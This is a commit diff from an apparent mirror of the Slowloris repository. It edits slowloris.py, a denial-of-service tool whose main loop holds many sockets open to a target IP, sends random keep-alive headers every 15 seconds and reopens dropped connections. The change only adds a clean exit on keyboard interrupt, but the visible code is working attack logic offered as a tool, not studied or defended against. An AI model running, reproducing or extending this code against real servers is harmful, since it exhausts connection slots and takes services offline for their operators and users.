mirror of https://github.com/Askill/slowloris.git
parent
a89668c444
commit
59fc07d0cb
35
slowloris.py
35
slowloris.py
|
|
@ -109,22 +109,27 @@ def main():
|
||||||
list_of_sockets.append(s)
|
list_of_sockets.append(s)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
|
try:
|
||||||
for s in list(list_of_sockets):
|
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
|
||||||
try:
|
for s in list(list_of_sockets):
|
||||||
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
|
try:
|
||||||
except socket.error:
|
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
|
||||||
list_of_sockets.remove(s)
|
except socket.error:
|
||||||
|
list_of_sockets.remove(s)
|
||||||
|
|
||||||
for _ in range(socket_count - len(list_of_sockets)):
|
for _ in range(socket_count - len(list_of_sockets)):
|
||||||
logging.debug("Recreating socket...")
|
logging.debug("Recreating socket...")
|
||||||
try:
|
try:
|
||||||
s = init_socket(ip)
|
s = init_socket(ip)
|
||||||
if s:
|
if s:
|
||||||
list_of_sockets.append(s)
|
list_of_sockets.append(s)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
break
|
break
|
||||||
time.sleep(15)
|
time.sleep(15)
|
||||||
|
|
||||||
|
except (KeyboardInterrupt, SystemExit):
|
||||||
|
print("\nStopping Slowloris...")
|
||||||
|
break
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue